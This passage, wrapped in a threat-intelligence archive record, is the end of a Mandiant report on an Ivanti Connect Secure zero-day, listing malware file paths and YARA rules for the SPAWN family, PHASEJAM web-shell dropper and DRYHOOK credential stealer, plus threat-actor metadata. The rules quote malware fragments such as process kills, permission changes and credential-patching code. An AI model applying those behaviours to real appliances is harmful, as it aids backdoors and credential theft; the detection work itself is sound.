appliance to a clean state. The ICT does not scan for malware or other\r\nIndicators of Compromise. Ivanti recommends that customers should run the ICT in conjunction with other\r\nsecurity monitoring tools which have detected post-exploitation activity. \r\nIf the ICT result shows signs of compromise, Ivanti recommends a factory reset on the appliance to ensure any\r\nmalware is removed and to then place the appliance back into production using version 22.7R2.5. \r\nAcknowledgement\r\nWe would like to thank the team at Ivanti for their continued partnership and support in this investigation.\r\nAdditionally, this analysis would not have been possible without the assistance from analysts across Google\r\nThreat Intelligence Group and Mandiant’s FLARE. \r\nIndicators of Compromise (IOCs)\r\nTo assist the wider community in hunting and identifying activity outlined in this blog post, we have included\r\nindicators of compromise (IOCs) in a GTI Collection for registered users.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 15 of 19\n\nCode Family Filename Description\r\nDRYHOOK n/a Credential Theft Tool\r\nPHASEJAM /tmp/s Web Shell dropper\r\nPHASEJAM Webshell /home/webserver/htdocs/dana-na/jam/getComponent.cgi Web Shell\r\nPHASEJAM Webshell /home/webserver/htdocs/dana-na/auth/restAuth.cgi Web Shell\r\nSPAWNSNAIL /root/home/lib/libsshd.so SSH backdoor\r\nSPAWNMOLE /root/home/lib/libsocks5.so Tunneler\r\nSPAWNANT /root/lib/libupgrade.so Installer\r\nSPAWNSLOTH /tmp/.liblogblock.so Log tampering utility\r\nYARA Rules\r\nrule M_APT_Installer_SPAWNSNAIL_1\r\n{\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"Detects SPAWNSNAIL. SPAWNSNAIL is an SSH\r\nbackdoor targeting Ivanti devices. It has an ability to inject a specified\r\nbinary to other process, running local SSH backdoor when injected to\r\ndsmdm process, as well as injecting additional malware to dslogserver\"\r\n md5 = \"e7d24813535f74187db31d4114f607a1\"\r\n \r\n strings:\r\n $priv = \"PRIVATE KEY-----\" ascii fullword\r\n \r\n $key1 = \"%d/id_ed25519\" ascii fullword\r\n $key2 = \"%d/id_ecdsa\" ascii fullword\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 16 of 19\n\n$key3 = \"%d/id_rsa\" ascii fullword\r\n \r\n $sl1 = \"[selinux] enforce\" ascii fullword\r\n $sl2 = \"DSVersion::getReleaseStr()\" ascii fullword\r\n \r\n $ssh1 = \"ssh_set_server_callbacks\" ascii fullword\r\n $ssh2 = \"ssh_handle_key_exchange\" ascii fullword\r\n $ssh3 = \"ssh_add_set_channel_callbacks\" ascii fullword\r\n $ssh4 = \"ssh_channel_close\" ascii fullword\r\n \r\n condition:\r\n uint32(0) == 0x464c457f and $priv and any of ($key*)\r\nand any of ($sl*) and any of ($ssh*)\r\n}\r\nrule M_APT_Installer_SPAWNANT_1\r\n{\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"Detects SPAWNANT. SPAWNANT is an\r\nInstaller targeting Ivanti devices. Its purpose is to persistently\r\ninstall other malware from the SPAWN family (SPAWNSNAIL,\r\nSPAWNMOLE) as well as drop additional webshells on the box.\"\r\n \r\n strings:\r\n $s1 = \"dspkginstall\" ascii fullword\r\n $s2 = \"vsnprintf\" ascii fullword\r\n $s3 = \"bom_files\" ascii fullword\r\n $s4 = \"do-install\" ascii\r\n $s5 = \"ld.so.preload\" ascii\r\n $s6 = \"LD_PRELOAD\" ascii\r\n $s7 = \"scanner.py\" ascii\r\n \r\n condition:\r\n uint32(0) == 0x464c457f and 5 of ($s*)\r\n}\r\nrule M_Tunneler_SPAWNMOLE_3\r\n{\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"Hunting rule looking for strings and code\r\nidentified in SPAWNMOLE samples\"\r\n md5 = \"a638fd203ddb540d0484d8e00490df06\"\r\n strings:\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 17 of 19\n\n$str1 = \"/proc/self/exe\"\r\n $str2 = \"/proc/%d/maps\"\r\n $str3 = \"=\u003e encrypt buf\"\r\n $str4 = \"=\u003e decrypt buf\"\r\n $str5 = \"%s \u003cmalformed\u003e\"\r\n $comparison1 = { 3C 16 74 [1] 0F B6 [2] 3C 03 74 [1] 0F B6 [2] 3C 01 0F 85 }\r\n $comparison2 = { 81 [2] E2 E3 49 FB 0F 85 [4] 81 [2] 61 83 C3 1B 0F 85}\r\n $code1 = { 8D 55 B8 8B 45 F0 01 D0 0F B6 10 8B 4D F0 8B 45 0C 01 C8 0F\r\nB6 00 31 C2 8D 4D B8 8B 45 F0 01 C8 88 10 83 45 F0 01 83 7D F0 2F 7E D4 }\r\n $code2 = { 81 7D E8 E2 E3 49 FB 0F 85 CD 00 00 00 81 7D E4 61 83 C3 1B }\r\n condition:\r\n uint32(0) == 0x464c457f and\r\n (all of ($s*)) and\r\n (1 of ($comparison*)) and\r\n (1 of ($code*))\r\n}\r\nrule M_Dropper_PHASEJAM_1 {\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"Hunting rule looking for strings identified in the\r\nPHASEJAM dropper\"\r\n md5 = \"d18e5425ecd9608ecb992606b974e15d\"\r\nstrings:\r\n$str1 = \"AccessAllow()\"\r\n$str2 = \"/jam/getComponent.cgi\"\r\n$str3 = \"jam/getComponent.cgi.bak\"\r\n$str4 = \"sh=$(echo CnN1Y\"\r\n$str5 = \"up=$(echo CnN1Y\"\r\n$str6 = \"grep -q 'sub AccessAllow()'\"\r\n$str7 = \"cp -f /home/bin/remotedebug /home/bin/remotedebug.bak\"\r\n$str8 = \"chmod 777 /home/bin/remotedebug.bak\"\r\n$str9 = \"cp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak\"\r\n$str10 = \"pkill cgi-server\"\r\ncondition:\r\n8 of them and filesize \u003c 20KB\r\n \r\n}\r\nrule M_Credtheft_DRYHOOK_1 {\r\n meta:\r\n author = \"Mandiant\"\r\n description = \"Hunting rule looking for strings identified in\r\nthe DRYHOOK credential stealer\"\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 18 of 19\n\nmd5 = \"61bb586dc4e047ab081ef6ca65684e48\"\r\nstrings:\r\n$str1 = \"/home/perl/DSAuth.pm\"\r\n$str2 = \"replace_content\"\r\n$str3 = \"replace1_content\"\r\n$str4 = \"replace2_content\"\r\n$str5 = \"pkill cgi-server\"\r\n$str6 = \"setPrompt =\"\r\n$str7 = \"runSignin = \\\\*DSAuthc::RealmSignin_runSignin\"\r\n$str8 = \"/bin/mount -o remount,rw / \u003e /dev/null 2\u003e\u00261\"\r\n$str9 = {64 61 74 61 20 3d 20 72 65 2e 73 75 62 28 62 22\r\n5c 2a 72 75 6e 53 69 67 6e 69 6e 45 42 53 4c 20 3d 2e 2a 3b 22 2c\r\n62 61 73 65 36 34 2e 62 36 34 64 65 63 6f 64 65 28 72 65 70 6c 61\r\n63 65 32 5f 63 6f 6e 74 65 6e 74 2e 65 6e 63 6f 64 65 28 29 29 2e 64\r\n65 63 6f 64 65 28 29 2e 65 6e 63 6f 64 65 28 22 75 6e 69 63 6f 64 65\r\n5f 65 73 63 61 70 65 22 29 2c 64 61 74 61 29}\r\ncondition:\r\n8 of them and filesize \u003c 20KB\r\n \r\n}\r\nChangelog\r\nDate Description\r\nJan. 8, 2025 DRYHOOK YARA MD5 updated to 61bb586dc4e047ab081ef6ca65684e48\r\nJan. 9, 2025 SPAWNMOLE YARA Signature update to rule M_Tunneler_SPAWNMOLE_3\r\nJan. 17, 2025 Attribution updated to UNC5221\r\nPosted in\r\nThreat Intelligence\r\nSource: https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day\r\nPage 19 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day"
	],
	"report_names": [
		"ivanti-connect-secure-vpn-zero-day"
	],
	"threat_actors": [
		{
			"id": "b2e48aa5-0dea-4145-a7e5-9a0f39d786d8",
			"created_at": "2024-01-18T02:02:34.643994Z",
			"updated_at": "2026-04-29T06:58:58.254021Z",
			"deleted_at": null,
			"main_name": "UNC5221",
			"aliases": [
				"UNC5221",
				"UTA0178"
			],
			"source_name": "ETDA:UNC5221",
			"tools": [
				"BRICKSTORM",
				"GIFTEDVISITOR",
				"GLASSTOKEN",
				"LIGHTWIRE",
				"PySoxy",
				"THINSPOOL",
				"WARPWIRE",
				"WIREFIRE",
				"ZIPLINE"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "6ce34ba9-7321-4caa-87be-36fa99dfe9c9",
			"created_at": "2024-01-12T02:00:04.33082Z",
			"updated_at": "2026-04-29T06:58:56.751454Z",
			"deleted_at": null,
			"main_name": "UTA0178",
			"aliases": [
				"Red Dev 61",
				"UNC5221"
			],
			"source_name": "MISPGALAXY:UTA0178",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "81dde5cc-c29f-430d-8c6e-e5e92d5015e7",
			"created_at": "2022-10-25T16:07:23.704358Z",
			"updated_at": "2026-04-29T06:58:57.944337Z",
			"deleted_at": null,
			"main_name": "Harvester",
			"aliases": [],
			"source_name": "ETDA:Harvester",
			"tools": [
				"Agentemis",
				"Cobalt Strike",
				"CobaltStrike",
				"Graphon",
				"Metasploit",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "15a95181-1984-4385-ba2a-272f929fdc85",
			"created_at": "2024-04-20T02:00:03.57553Z",
			"updated_at": "2026-04-29T06:58:56.857386Z",
			"deleted_at": null,
			"main_name": "UNC5337",
			"aliases": [],
			"source_name": "MISPGALAXY:UNC5337",
			"tools": [
				"SPAWNMOLE",
				"SPAWNANT",
				"SPAWNSLOTH"
			],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1777429288,
	"ts_updated_at": 1777450960,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/aec049fd73510166cf776328ac90c34f6e2fa002.pdf",
		"text": "https://archive.orkl.eu/aec049fd73510166cf776328ac90c34f6e2fa002.txt",
		"img": "https://archive.orkl.eu/aec049fd73510166cf776328ac90c34f6e2fa002.jpg"
	}
}